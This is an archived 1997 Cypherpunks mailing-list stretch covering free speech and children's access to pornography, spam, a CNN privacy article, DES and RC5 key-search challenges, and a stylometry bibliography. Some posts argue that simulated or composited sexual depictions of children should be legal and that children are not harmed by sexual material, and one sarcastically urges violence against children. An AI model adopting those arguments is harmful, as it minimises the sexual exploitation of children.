>> by the scum bags at large in society, _BUT_ free speech is free speech.
>> The warts come from an ever increasing BENT society.
>
>No you don't.  You believe in free speach for the things that do not tweak
>your worldview.  I am certainly willing to bet that if you had the chance
>to remove the rights of the "bent" people from expressing their views, you
>would not hesitate in the slightest.
>
>> I still am concerned about kids being subject to material that is
>> inappropriate for their age group (what ever that may be).  
>
>"Whatever that may be" is a very telling statement.  How can you tell what
>is "appropreate" or "not".  What the media tells you?  What your religious
>leaders tell you?  What the voices in your head tell you?  What the
>government tells you?  All of those values are subjective.  They depend on
>what you may or may not believe is "harmful".  Most of that is based on
>cultural conditioning.
>
>>So how do I
>> insure that my son/daugher does not get their hands on _THIS_ material?
>
>Kill them now.  Stick them in a box and feed them through a slot in the
>door. Gouge out their eyes. Cut off their hands.
>
>> Twenty seven years ago I took an oath to do whatever was needed to protect
>> and defend the constitution against all enemies (domestic and foreign)  But
>> what is the solution to this problem from a parents point of view?
>
>You view the constitution as a problem?  Free speach as a problem?
>
>Or maybe you have a problem that your children might learn about things
>that you disapprove of?  Maybe they might read something that shows them
>that sex is a part of life, not just something that is a side benefit of
>marriage.  Maybe they might learn that sex is fun!  Maybe they will find
>out that the religion their parents saddled them with is based on lies and
>urban legend.  maybe they will find that their government is not so kind
>and benevolent after all.  Maybe they will find out that their parents are
>human and make mistakes.  Or maybe they will even figure out that the
>material the parents are so afraid of are only harmful to the parents...
>
>>  Simple
>> - control the material.  Make it like liquor, guns, booze.  Oops.. for some
>> reason this is a violation of the 1st amendment to!
>
>It is also an impossibility.  People have tried to control the natural
>interest in sex since the dawn of time.  Has not worked yet.  Porn has
>existed since man discovered woman.  Some of the earliest existing films
>are porno movies.  What has changed is access and awareness.  Until
>reletive reciently porn has been more underground.  But with the spread of
>technology, it has become easier and easier to supply the demand for such
>things.
>
>Or as a certain math professor once said... "Dirty books are fun!"
>
>>  Ok, my mistake, its my
>> problem.  That's easy, no Internet access.  Now my kid is at a
>> disadvantage!  I keep loosing here.  I don't like the way this is beginning
>> to feel!!
>
>Your kid is already at a disadvantage.  His parents have lost perspective.
>
>> I'm sure that the community on this list has discussed this problem at
>> length.  What is the best defense?  How do we get the message out or,
>> better yet, deliver it?  
>
>You assume that it actually is a problem.  Your moral qualms over pictures
>of sexual activity does not a problem make.
>
>it is people like yourself who are activly destroying what little remains
>of the constitution.  You want an exception for this and a rationalization
>for that until thre is nothing left but the blandest and most tasteless
>thoughts and speach.
>
>> Whatever that is, we need to do the same thing for the 2nd Ammendment, and
>> the 3rd, and so on.
>
>Like actually follow it?  Wow!  That would be a first.
>
>> The challenge to write code could be fun, but maybe we should use our
>> collective wisdom to deliver the best of the best solutions (there may be
>> more than one) to our elected officials.  Load their mailboxes up with
>> solutions to problems.  Sooner or later more than one of them is going to
>> think its his/her idea and push it along.  Web sites can be set up to
>> assist them with details.  I'm sure you get the idea.
>
>You are talking to the wrong group of people.  What you are asking for is
>a way to censor the masses.
>
>Anything an adult can get, a child can get.
>
>Attempts to censor children and control what they hear, see and feel are
>vague attempts to do the same to adults.  You cannot control the
>information feed to children without controling the information feed for
>adults. (But deep down in your heart you would like to see that as well.)
>
>> Just another citizen wondering if anything is going to be left for our
>> grandchildren.
>
>You think this information will harm them?  Actually the control freak
>mentality you want to impose is far far worse.  In actuality, much of the
>problems you would like to blame on porn are, in actuality, borne out of
>this country's hypocracy and neurosis about sex and sexuality.  the reason
>people are so fucked up about fucking is because they have been taught
>that sex is somehow wrong and shameful and dirty.  That appreciating the
>beauty of the sexual act is somehow more vile and disgusting than showing
>someone shot full of holes.
>
>I think you need to examine WHY this information makes you uncomfortable.
>You might learn something about yourself.  But don't expect us to help
>inflict your sickness on the minds of your children.
>
>alano at teleport.com | "Those who are without history are doomed to retype it."
>
>
>






From jrennie at hardy.ocs.mq.edu.au  Mon Jun 23 16:55:45 1997
From: jrennie at hardy.ocs.mq.edu.au (Jason William RENNIE)
Date: Tue, 24 Jun 1997 07:55:45 +0800
Subject: The spam thread
Message-ID: 



Ooops,

looks like i started a raging debate. Sorry if this debate bores anybody 
but as was said to me, just delete it.

I notice nobody commented on the i just dont want advertising in my 
mailbox point, and why shouldn't they be billed. 

What i suggested WASN'T a new law that could be abused etc. It was a very 
minor legal precedent, where the owner of a phone or email box could be 
paid for advertising in in IF the marketer was informed. 

To Ross, SPAM may be freedom of expression as my child pornography, but 2 
things,

1. What about my rights to privacy, and my rights to my mailbox that I 
pay for. Why should it be used as an advertising medium if i font want it 
to be used for one ??

2. By your argument, mailbombing of all flavours is free expression and 
should be allowed. Seeing as this follows logically RU going to get upset 
if i mail bomb you ??

All this started when i asked if SPAM might be coming through this list, 
i didn't think it would have tyhis effect, but discussion is healthy.

Anyway shall we let this thread die at this point ??

Jason =8-]






From ravage at ssz.com  Mon Jun 23 17:25:40 1997
From: ravage at ssz.com (Jim Choate)
Date: Tue, 24 Jun 1997 08:25:40 +0800
Subject: spam on this list (fwd)
Message-ID: <199706232357.SAA24059@einstein.ssz.com>



Forwarded message:

> Date: Mon, 23 Jun 1997 19:25:51 -0400
> From: "Philip A. Mongelluzzo" 
> Subject: Re: spam on this list

> I support the constitution.  In the case of the first ammendment: The
> freedom it allows you, or whoever, to send spam and indulge in child
> pornography is the same freedom provided to those who say those ideas are
> wrong.  Got it?

But it isn't the same as you present it. I will explain below.

> How do we deal with child pornography and free speech in such a way as to
> allow both to exist and insure our children are not exposed to pornographic
> material until they are at a maturity level where they can deal with it?

Let's look at this carefuly for a moment. Child pornography in and of itself
is irrelevant. The issue is sexual acts involving one or more children by
adults which are committed with (or without) the specific intent of creating
some physical record for personal use or to pass to others (with or without
profit).

Now let's contrast this with a simple pencil drawing of a child and an
adult having sex (eg. Greek pottery).

The question is are these two acts, one involving a real physical act
involving a minor, and the other as a physical expression of the artists
imagination equivalent?

Some would have you believe they are the same. Unfortunately, I have yet to
see a clear explanation of the view. Now the other side is that they are
different. This belief rests on at least two basic tenents. The first being
that it is the physical act that constitutes the crime and not simply
thinking about it. The second is that there is a fundamental difference of
quality between an item and its representation in some symbology. From this
it becomes clear that the issue is how do we reduce the initial sexual
contact. If THAT can be resolved the other problems resolve themselves. Now,
let's assume for a moment that we have in fact resolved this issue. Should
we then regulate representations of these acts by persons when it is assumed
no actual child was involved? The representation is nothing more than the
ramblings of an expressive mind. So are we not making certain thought
illegal? This certainly contrasts with the belief that a crime requires an
act. That doesn't sound very rational to me. And what about if I don't draw
it but rather write a story? Or perhaps use my image editor to take children
bathing suite adds and medical sources to fill it out, why should this be
any different than a written description? Or perhaps that image on the Greek
pot? No, these sort of line drawing was meant to be prohibited by the
Constitution. The founding fathers must have known the world was a gray sort
of place so they took special precautions (ie 10 Amendments) to make nice and
clear boundaries for the federal government (ie 1'st Amendment). It is clear
that they expressely did not want the government involved in human
expression.

> If pornography is the enemy of crypto then that is enemy that must be fought. 

This is a straw man. There is no crypto involved in the physical act. Nice
strawman argument though, got almost the whole damn world swallowing at this
point....

> A battle that must be won without killing the enemy to insure continued
> free speech.  Quite a challenge I think.

Only if you are confused about exactly what the issue at hand is. We need
diagnostic proceedures usable by regular physicians and the issue really
needs to be handled as a medical and not a legal issue. Putting people in
jail won't effect this sort of human behaviour one damn bit. By the time the
guy gets to jail some poor kid has been really abused, is that how you want
your kid dealt with?

    ____________________________________________________________________
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http:// www.ssz.com/  |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage at ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|






From ravage at ssz.com  Mon Jun 23 17:49:53 1997
From: ravage at ssz.com (Jim Choate)
Date: Tue, 24 Jun 1997 08:49:53 +0800
Subject: http:--cnnfn.com-digitaljam-9706-23-netbiz-
Message-ID: <199706240022.TAA24149@einstein.ssz.com>



   
   
   DIGITAL AlphaServer Systems [INLINE] Digital Jam [INLINE] 
   Big Brother brouhaha
   
   
   Privacy concerns lead on-line marketers to try softer approaches
   
   
   June 23, 1997: 11:08 a.m. ET
   
   
   [LINK] 
   [INLINE] 
   
   
   Archenemies join hands - June 11, 1997
   
   FTC tackles privacy - June 10, 1997
   
   
   [IMAGE]
   
   Federal Trade Commission 
   
   TRUSTe NEW YORK (CNNfn) - There's an Internet argument going on.
   [INLINE] On one side are people who want to surf the Net in peace,
   free from the "spam" and insidious snooping of those anxious to make a
   quick buck.
   [INLINE] On the other side are businesses looking to take advantage of
   the Internet's promise as a vehicle for reaching specific customers
   cheaply and efficiently.
   [INLINE] Can the two sides coexist? Or will privacy advocates succeed
   in driving cyber-hawkers off line?
   [INLINE] Unlikely, experts say. That's because online companies are
   starting to use other marketing tools that make people worry less
   about Big Brother.
   [INLINE] The issue has heated up lately. Privacy rights groups are
   alarmed about the potential for abuse with junk e-mail and other
   invasive technology. In response, the Federal Trade Commission is
   probing whether marketers are snooping too much.
   [INLINE] The industry, meanwhile, is coming up with its own solutions
   to prevent lawmakers from stepping in.
   [INLINE] Experts say most of the practices raising eyebrows aren't
   much different from what's been happening off-line for years. Yet
   other analysts concede there is danger in an age where extensive
   personal information is available with the press of a key.
   [INLINE] "Consumers don't like to be shoulder-surfed when they're
   online," said Kate Delhagen, a senior analyst with Forrester Research
   Inc. in Cambridge. "(But) this is not a deal-breaker for the Web. The
   Web is alive and well and will continue to thrive. These little bombs
   will continue to go off, and they'll continue to be fixed."
   [INLINE] Besides e-mail, or "spamming," some marketers use browser
   technology to find out where a user has been on the Net or track him
   when he leaves a site by following his electronic footprints.
   Companies are also selling information on databases.
   [INLINE] "It's as if they can shadow you on the Web," said Susan
   Scott, executive director of TRUSTe, a non-profit organization of 50
   companies whose mission is to promote trust in online commerce.
   [INLINE] Dan Miller, senior editor with The Web Magazine in San
   Francisco, thinks junk e-mail and the other practices aren't central
   to doing business online.
   [INLINE] "You can do business online without violating someone's
   privacy," Miller said.
   [INLINE] Instead of flooding people with junk e-mail, or "spam," some
   companies such as Amazon.com ask users if they want to be notified
   about new products, Miller said. That puts the control in the hands of
   the users, he said.
   [INLINE] In other cases, companies are creating new partnerships, like
   the one between Border books and Salon, an online Arts magazine,
   Miller said. At the end of Salon's book reviews is a link to Border so
   people can order the book.
   [INLINE] Experts said the disputed methods do work - but at the risk
   of alienating customers.
   [INLINE] "People universally hate spam," said Evan Schwartz, author of
   "Webonomics" and a contributing editor to "Wired" magazine. Smart Web
   sites treat customers respectfully by avoiding mass e-mailing or
   selling information from lists, he said.
   [INLINE] Scott said spamming is more widespread among smaller
   companies because it's so cheap - pennies for each e-mail address
   compared to a few dollars for each name in direct mail.
   [INLINE] "It's a numbers game - the more you send out, the more
   response you get," Scott said. The method has about a 1 percent
   return.
   [INLINE] Sanford Wallace, founder and president of Cyber Promotions,
   the largest bulk e-mail company in the country, insists the practice
   doesn't violate privacy. But he helped organize the Internet E-Mail
   Marketing Council to promote ethical standards. The council has a
   central address where people can get their names removed from all mass
   e-mailers.
   [INLINE] While the new standard might mean the loss of huge numbers of
   customers, "there are still millions and millions left," Wallace said.
   [INLINE] Tracking has been effective to help marketers find out about
   a person's interests so they can target ads, Scott said. If a person
   visits gardening sites, for example, a vendor can flash banner ads on
   the topic.
   [INLINE] "People don't understand the technology and there's a lot of
   anxiety about it," Scott said. "There's so much bad press that it's
   past the point of educating the consumer."
   [INLINE] Controversy about tracking was so heated two archrivals,
   Microsoft Corp. and Netscape Communications Corp., recently proposed a
   common standard so users can control how much information is available
   about themselves.
   [INLINE] Experts say selling information from databases isn't much
   different from what's been happening in the catalogue business.
   [INLINE] "That type of thing happens all the time," said Don Heath,
   president and chief executive of the Internet Society, a non-profit
   organization of 8,000 individuals and organizations.
   [INLINE] Eight information companies, including LEXIS-NEXIS, recently
   adopted guidelines to protect personal information like Social
   Security numbers on databases.
   [INLINE] Scott argued that most online companies still rely on
   traditional advertising.
   [INLINE] "These (disputed) methods haven't been widespread," Scott
   said. "Even Yahoo goes on TV to tell people to get on the Web. To
   reach the mass market, you have to go through traditional means."
   [INLINE] Scott thinks the uproar about electronic privacy will force
   people to think about the issue off-line, too. People have resigned
   themselves to getting piles of junk mail and catalogues, for example.
   [INLINE] "People had given up trying to protect their privacy, but
   this will make them think about it again," Scott said. Link to top 
   [INLINE] -- Martine Costello
   
   
   
   
   
   
   
   
   
   
   
   
   
   
   
   
   
   
   [INLINE] quote box
   [INLINE] - Kate Delhagen
   
   
   
   
   
   
   
   
   
   
   
   
   
   
   
   
   
   
   
   
   
   
   
   
   
   
   
   
   
   
   
   
   
   
   
   
   
   
   
   
   
   
   
   
   
   
   
   
   
   
   
   
   
   
   
   
   
   
   
   
   [INLINE] Wallace photo
   [INLINE] Sanford Wallace doesn't think bulk e-mail violates privacy
   
   
   
   
   
   
   
   
   
   
   
   
   
   
   
   
   home | digitaljam | contents | search | stock quotes | help
   
   Copyright © 1997 Cable News Network, Inc.
   ALL RIGHTS RESERVED.






From rwright at adnetsol.com  Mon Jun 23 17:59:21 1997
From: rwright at adnetsol.com (Ross Wright)
Date: Tue, 24 Jun 1997 08:59:21 +0800
Subject: The spam thread
Message-ID: <199706240050.RAA27376@adnetsol.adnetsol.com>



On or About 24 Jun 97 at 9:45, Jason William RENNIE wrote:

> Anyway shall we let this thread die at this point ??

I've tried.  But I am eternally pulled back in.  Sometimes at the 
first post, sometimes later.  As long as people have promiscuous 
mail boxes they will get spam, use a filter, use your delete key.

Denial of service attacks are destructive and unproductive.

Die, Spam thread, Die!  Out, spot, out!  

Ross

=-=-=-=-=-=-
Ross Wright
King Media: Bulk Sales of Software Media and Duplication Services
http://www.slip.net/~cdr/kingmedia
Voice: (408) 259-2795






From tcmay at got.net  Mon Jun 23 18:04:15 1997
From: tcmay at got.net (Tim May)
Date: Tue, 24 Jun 1997 09:04:15 +0800
Subject: Child Porn 3 [JPG]
In-Reply-To: <199706231803.OAA12416@dhp.com>
Message-ID: 



At 1:01 PM -0700 6/23/97, Adam Back wrote:

>(Thinking of the AA case where the fedz mailed the target a child porn
>package and kicked the door in seconds after the package hit the door
>mat, before they even knew their mail had arrived, and busted them for
>"possession" of child porn.)

"I have a solution."

(However, unlike Bell, my solution would not involve the roundabout charade
of setting up some kind of betting market--as if the population at large
would care about J. Random Narc. Under my solution, the cops who pulled
this stunt of sending unsolicited porn and then raiding the house would be
given a fair trial and then imprisoned for a lot longer than the Thomases
will ultimately be imprisoned.)

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay at got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."









From enoch at zipcon.net  Mon Jun 23 18:24:08 1997
From: enoch at zipcon.net (Mike Duvos)
Date: Tue, 24 Jun 1997 09:24:08 +0800
Subject: A better DES challenge
In-Reply-To: <199706232004.QAA11706@nsa.research.att.com>
Message-ID: <199706240115.SAA07994@zipcon.net>



Matt Blaze  writes:

 > I'm not a big fan of cipher ``challenges'' in which a prize
 > is awarded to the first person who discovers the key that
 > produces some plaintext/ciphertext pair.  The effort
 > required to produce a solution tends to grossly overstate
 > the actual difficulty of searching the keyspace, since
 > invariably the winner uses the idle time on general-purpose
 > computers, which are poorly-optimized for use as keysearch
 > engines.

Really.  It appears that the DESCHALL frivolities actually
enhanced the reputation of DES, fluffy press releases by C2 and
Security Dynamics notwithstanding.

 > A more basic problem with challenges is that even when they
 > are solved they don't really provide convincing proof that
 > the keyspace was actually searched.  For example, in the
 > recent 56-bit RSA DES challenge, RSA has no way to prove
 > that it didn't ``leak'' some hint about the solution to the
 > winner. (I hasten to point out that I'm not suggesting that
 > anything like this actually happened, only that a skeptic
 > might raise the possibility, against which RSA has no real
 > way to defend itself).

This is a problem which I have been pondering in recent days. How
would someone in the future demonstrate that they have broken
DES, now that the RSA DES Challenge is behind us, and trusted
parties offering to generate and keep secret ciphertext/plaintext
pairs are no where to be found.

It would seem to me that the best way to demonstrate that one has
broken a block cipher without releasing ones algorithm would be
to generate and publish some key collisions, in which a
ciphertext/plaintext pair is mapped by more than one key.

If one encrypts plaintext with a known key to generate
ciphertext, cryptanalysis of the resulting ciphertext/plaintext
pair for a key other than the one used to generate it should be
comparable in difficulty to cryptanalysis of a
ciphertext/plaintext pair provided by a trusted third party.

The ability to generate such collisions at will clearly
demonstrates that one can calculate keys from
ciphertext/plaintext pairs.

 > A better challenge, then, would be one in which even the
 > challenger doesn't know the solution in advance (or would
 > have had to itself search the keyspace or otherwise
 > cryptanalyze the cipher in order to find it).  For example,
 > a challenge for a one-way collision-intractable hash
 > function could simply ask for an example of a collision, or
 > could ask for the inversion of some well-structured output
 > (such as all zeros).

A step in the right direction.  We should develop ways of
demonstrating cryptanalysis which do not require one person to
solve a problem provided by another person without the
possibility of collusion.

[snip]

 > Recall that there are 2^56 DES keys that each select a
 > different permutation of the 2^64 codebook entries.  We
 > expect that there's about a 1/2^8 chance that there exists a
 > DES key that converts any given plaintext block to any given
 > ciphertext block.

 > My challenge is to find a key such that a ciphertext block
 > of the form  decrypts to a plaintext block of the
 > form , where X and Y represent any fixed eight-bit
 > byte value repeated across each of the eight bytes of the
 > block.

 > Observe that I'm actually posing 2^16 different challenge
 > plaintext/ciphertext pairs, each with about 1/2^8
 > probability of having a solution, where groups of 2^8
 > challenges can be searched for simultaneously.  Each
 > challenge may have no solution key, exactly one solution
 > key, or more than one solution key, but it is very likely
 > that there is at least one solution key to at least one of
 > them (in fact, one could expect to find about 2^8 solutions
 > overall, assuming DES produces good pseudorandom
 > permutations).

I like this.  It is somewhat cleaner than the key collision trick
suggested above.

 > I will award a grand prize of 56 bits (seven (7) US
 > dollars) to the first person to provide a solution key. (The
 > challenge ends when first key is found).  While the prize
 > money is admittedly trivial (this is out of my own pocket,
 > after all), I hope it will serve as ``seed money'' that
 > encourages others to add their own prizes to a growing pot.

Let me know when the money reaches $10k.

 > Of course, I cannot be completely sure whether there exist
 > any solutions at all.

If there were to be no solutions at all, given the alleged
pseudorandomness of DES, this would probably be an even more
interesting result than solving the problem posed.

--
     Mike Duvos         $    PGP 2.6 Public Key available     $
     enoch at zipcon.com   $    via Finger                       $






From gbroiles at netbox.com  Mon Jun 23 18:47:06 1997
From: gbroiles at netbox.com (Greg Broiles)
Date: Tue, 24 Jun 1997 09:47:06 +0800
Subject: spam on this list
In-Reply-To: 
Message-ID: <3.0.2.32.19970623183907.009c9400@mail.io.com>



>How do we deal with child pornography and free speech in such a way as to
>allow both to exist and insure our children are not exposed to pornographic
>material until they are at a maturity level where they can deal with it?

You're phrasing this like it's a general policy question, e.g., "If we were 
going to design the best freedom-of-speech legal structure for a society,
what would it look like?", and then trying to apply the answer to that 
question to a very different question, e.g., "What can we do about
free speech policy, given the wording and past interpretation of the First
Amendment, within the legislative/judicial structure created by the
Constitution?" The Constitution does not grant Congress nor individual 
states the ability to make certain laws, even if they otherwise appear 
reasonable or useful; I think it's a shame that people who have sworn to 
defend the Constitution seem to regard it as an impediment (or fail to 
understand that it's intended an impediment) to an all-powerful state. 
(Also, this discussion is, like many law/policy-related ones, 
pretty US-centric, which is not evil but perhaps nonoptimal or unnecessarily 
shortsighted.)

There are three issues here - child porn (broadly speaking, images featuring
children in a sexual context), access to porn by children, and freedom of
speech/expression. It's not clear from your comments whether you're 
concerned with "child porn" or "access to porn by children", or both.

Your definition of the problem is problematic, because it talks about 
"our children" and "maturity level where they can deal with it", which are 
both difficult to fix precisely. Some people would read the phrase "our 
children" to apply to every child within a national jurisdiction; 
some people would read the phrase to refer to their own children, or the 
children in their familiy. Are we talking about single group of children - 
or nationwide groups of similarly situated children, e.g., 9-year-olds - or 
are we talking about millions of individual children and family groups, with 
different standards/expectations/needs? Also, who decides what an 
appropriate "maturity level" is, and what "dealing with it" is? Are you 
looking for a solution which will allow you to control your children's 
access to porn, or a system which will allow you to control all children's 
access to porn? 

I see two broad strategies here - if we're concerned about children and 
porn, we can either control children or control porn. I think that 
controlling children rather than porn is preferable, because:

1.	It provides the greatest amount of expressive freedom to adults
2.	It allows individual parents/families/communities to adopt their own 
local standards for what's acceptable

>If pornography is the enemy of crypto then that is enemy that must be
fought. 
>
>A battle that must be won without killing the enemy to insure continued
>free speech.  Quite a challenge I think.

Or we must find a way to avoid the battle - perhaps by abandoning the idea 
that children are "innocent", and that they're somehow harmed if they hear 
about or see pictures of sexual activity before they're 18.



--
Greg Broiles                | US crypto export control policy in a nutshell:
gbroiles at netbox.com         | 
http://www.io.com/~gbroiles | Export jobs, not crypto.






From leegib at MICROSOFT.com  Mon Jun 23 19:15:32 1997
From: leegib at MICROSOFT.com (Lee Gibbon)
Date: Tue, 24 Jun 1997 10:15:32 +0800
Subject: New Laws in Oregon - "Land of the Legal betatest"
Message-ID: <51194C00BD39CF11839000805F385DB205394FAB@RED-65-MSG.dns.microsoft.com>



Why do you want Congress to function?  "The best government is one that
governs least" (Who am I (mis)quoting?).  If Congress doesn't do much,
we're better off - especially if we had sunset clauses in every law...  

Assuming a government like ours, the problem I see with "eliminating 90%
of the sitting legislature" is the question of who really rules?  I
favor term limits - only one term per position.  I don't like the idea
of professional politicians.  But, where would the power reside?  The
bureaucracy and the political parties?  -Sounds dangerous to me.

Lee


> -----Original Message-----
> From:	Ryan Anderson [SMTP:randerso at ece.eng.wayne.edu]
> Sent:	Saturday, June 21, 1997 10:07 AM
> To:	roy at scytale.com
> Cc:	cypherpunks at cyberpass.net
> Subject:	Re: New Laws in Oregon - "Land of the Legal betatest"
> 
> 
> On Sat, 21 Jun 1997, Roy M. Silvernail wrote:
> 
> > > How do you propose to deal with such things as the
> Telecommunications Act
> > > of 1996 (which incidently included the CDA)?   I can see a problem
> where
> > > one sentence or clause gets thrown out of a major bill (say a
> compromise
> > > budget, that someone screwed up one minor ammendment), and if you
> have
> > > that happen 3 times in 6 years, you've lost 90% of your senators!
> I'm not
> > > saying that your idea isn't without merit, just that it's got a
> few
> > > problems that strike me as somewhat major..
> > 
> > Please elaborate, as I can't see _any_ problem with eliminating 90%
> of
> > the sitting legislature.
> 
> You've completely missed my point.  This would be an on-going problem.
> Congress can only function with some idea of compromise in it.  When
> you're passing budgets, especially the kind of budgets we have right
> now,
> they get big and complicated, I can't see that changing significantly,
> even with a massive turnover of members.  But having no consistency in
> Congress at all, even for some "good" reps would be horrible.
> 
> ----------------------------------------------------------------------
> -
> Ryan Anderson -      "Who knows, even the horse might
> sing" 
> Wayne State University - CULMA   "May you live in interesting times.."
> randerso at ece.eng.wayne.edu                        Ohio = VYI of the
> USA 
> PGP Fingerprint - 7E 8E C6 54 96 AC D9 57  E4 F8 AE 9C 10 7E 78 C9
> ----------------------------------------------------------------------
> -






From nobody at secret.squirrel.owl.de  Mon Jun 23 19:38:05 1997
From: nobody at secret.squirrel.owl.de (Secret Squirrel)
Date: Tue, 24 Jun 1997 10:38:05 +0800
Subject: Child Porn 3 [JPG]
In-Reply-To: <199706231803.OAA12416@dhp.com>
Message-ID: <19970624021655.17871.qmail@squirrel.owl.de>



> Here, yet again, is the same Time-Life child pornography picture, which
> is encrypted with the public keys of people I don't know from squat.
> Nonetheless, they are now co-conspirators in the Time-Life/Cypherpunks
> child pornography ring.
> Since they are unwitting participants in the spread of this filth
> across the internet, I would suggest that they contact law enforcement
> officials and offer to testify against the cypherpunks and employees
> of Time-Life in return for immunity or reduced sentences ending in ...

Baayen, R. H., van Halteren, H. and Tweedie, F. J. (1996).  Outside the
Cave of Shadows: Using syntactic annotation to enhance authorship
attribution. Literary and Linguistic Computing, 11 (3). pp. 121-131.

Bailey, Richard W., (1979). Authorship attribution in a forensic setting.
D.E. Aeger, F.E.Knowles & J.Smith (Eds). Advances in Computer-Aided Literary
and Linguistic Resaerch. Proc. 5th Intl. Symposium on Computers in
Literary and Linguistic Research, Birmingham, 1978.

Brainerd, B., (1974). Weighing evidence in language and literature: a
statistical approach. University of Toronto Press. Toronto.

Brainerd, B.  (1988).  Two models for the type-token relation with time
dependant vocabulary reservoir.  P. Thoiron, D. Serant & D. Labbe (Eds.).
Vocabulary structure and lexical richness.  Champion-Slatkine.  Paris.

de Morgan, Sophia, E.  (1882). Memoir of Augustus de Morgan by his wife
Sophia Elizabeth de Morgan with selections from his letters.
Longmans, Green, and Co.  London.

Ellegard, A.A.  (1962). A Statistical Method for Determining Authorship:
The Janus Letters, 1769-1772.  University of Gothenburg.  Gothenburg.

Fucks, W.  (1952). On the mathematical analysis of style.
Biometrika 39.  pp. 122-129.

Grayston, K. & Herdan, G.  (1959). The authorship of the Pastorals in the
light of statistical linguistics.  New Testament Studies 6. pp. 1-15.

Holmes, David, I.  (1994). Authorship attribution.  Computers and the
Humanities 28.  pp. 87-106.

Holmes-Higgin, P.R. (1995). Text Knowledge: the Quirk Experiments.
Ph.D. Thesis, Dept. Mathematical and Computing Sciences, University of
Surrey, Guildford, England.

Honore, A.  (1979). Some Simple Measures of Richness of Vocabulary.
Association for Literary and Linguistic Computing Bulletin 7.
pp. 172-177.

Hubert, P. & Labbe, D.  (1988). A model of vocabulary partition.
Journal of the Association for Literary and Linguistic Computing 3.
pp. 223-225.

Ledger, Gerard R. (1989). Re-counting Plato: A Computer Analysis of
Plato's Style.  Clarendon Press.  Oxford.

Matthews, Robert & Merriam, Thomas V.N.  (1993). Neural computation in
stylometry I: an application to the works of Shakespeare and Marlowe.
Literary and Linguistic Computing 8 (4).  pp. 203-209.

Matthews, Robert & Merriam, Thomas V.N.  (1994). Neural computation in
stylometry II: an application to the works of Shakespeare and Marlowe.
Literary and Linguistic Computing 9 (1).  pp. 1-6.

Mendenhall, Thomas C.  (1887). The Characteristic Curves of Composition.
Science IX.  pp. 237-249.

Orlov, J. K.  (1983). Ein Modell der Haufigkeitsstruktur des Vokabulars.
H. Guiter and M. Arapov (Eds), Studies in Zipf's Law, Bochum: Brockmeyer,
pp. 154-233.

Ratkowsky, D.A. & Hantrais, L.  (1975). Tables for comparing the richness
and structure of vocabulary in texts of different lengths.  Computers and
the Humanities 9.  pp. 69-75.

Sichel, H.S.  (1974). On a distribution representing sentence-length in
written prose.  Journal of the Royal Statistical Society (A) 137.  pp. 25-34.

Sichel, H.S.  (1986). Word frequency distributions and type-token
characteristics.  Mathematical Scientist 11.  pp. 45-72.

Tweedie, Fiona J., Singh, S. & Holmes, David I.  (1994). Neural Network
Applications in Stylometry: The Federalist Papers.  Proceedings of the
3rd Conference on the Cognitive Science of Natural Language Processing,
Dublin City University, Dublin, 7-8 July 1994.

Tweedie, Fiona J., Baayen, R. H.  (1997). Lexical `constants' in
stylometry and authorship studies.  To appear.

Yule, George U.  (1938). On sentence-length as a statistical characteristic
of style in prose, with application to two cases of disputed authorship.
Biometrika 30.  pp. 363-390.

Yule, George U.  (1944)
The statistical study of literary vocabulary.  Cambridge University Press.
Cambridge.






From shamrock at netcom.com  Mon Jun 23 20:12:28 1997
From: shamrock at netcom.com (Lucky Green)
Date: Tue, 24 Jun 1997 11:12:28 +0800
Subject: A better DES challenge
In-Reply-To: <199706232004.QAA11706@nsa.research.att.com>
Message-ID: <3.0.2.32.19970623200525.007039f8@netcom9.netcom.com>



At 06:15 PM 6/23/97 -0700, Mike Duvos wrote:
>Really.  It appears that the DESCHALL frivolities actually
>enhanced the reputation of DES, fluffy press releases by C2 and
>Security Dynamics notwithstanding.

Which is why I opposed a distributed crack ever since the crack was first
proposed. But once the crack got underway, the only thing to do was to
participate and hope it wouldn't take all that long. Stressing the
individual that found the key over the group effort was the best thing that
could be done in an already bad situation. Spin control is a fact of life.

Now on to breaking 56 bit RC5 (a waste of time, but until that's out of the
way there will be no sufficient support to break 64 bit RC5).

I am encouraging corporate sponsorships for breaking RC5-64. If we can get
$100,000 together (should be easy), people will find cycles you didn't even
know existed. :-)


--Lucky Green 
  PGP encrypted mail preferred.
  DES is dead! Please join in breaking RC5-56.
  http://rc5.distributed.net/






From chewp at pacific.net.sg  Mon Jun 23 20:12:47 1997
From: chewp at pacific.net.sg (chewp at pacific.net.sg)
Date: Tue, 24 Jun 1997 11:12:47 +0800
Subject: digital signature software
Message-ID: <19970624025616.AAA17409@ping>




Hi

Besides PGP and RIPEM/SIG, is anyone aware of other
US-exportable digital signature software?

Thanks

Lip Ping

chewp at pacific.net.sg






From ichudov at Algebra.COM  Mon Jun 23 20:21:57 1997
From: ichudov at Algebra.COM (Igor Chudov @ home)
Date: Tue, 24 Jun 1997 11:21:57 +0800
Subject: Impact of Netscape kernel hole (fwd)
In-Reply-To: 
Message-ID: <199706141751.MAA24746@manifold.algebra.com>



Paul Bradley wrote:
> Joe "slightly crypto-savvy pgp user" sixpack keeps his pgp keyring in 
> c:\pgp on a dos/w95 box. The average user of any of the unices keeps his 
> keyring in /usr/pgp or /usr/local/pgp it does not take a lot of attempts 
> to go through most of the common places.
> 
> The very same guy probably has a password that is:
> 
> A. FRED (notice how close the letters are, this is a real dumb-ass 
> password of the century)
> 
> B. His wifes name
> 
> C. Her birthday
> 
> D. The name of his favourite film or some character from it...
> 
> Can you say "dictionary attack"???. 

Can you say "idiots have to pay"?

	- Igor.






From whgiii at amaranth.com  Mon Jun 23 20:27:03 1997
From: whgiii at amaranth.com (William H. Geiger III)
Date: Tue, 24 Jun 1997 11:27:03 +0800
Subject: Ray Just doesn't get it.
In-Reply-To: 
Message-ID: <199706240318.WAA01933@mailhub.amaranth.com>



-----BEGIN PGP SIGNED MESSAGE-----

In , on
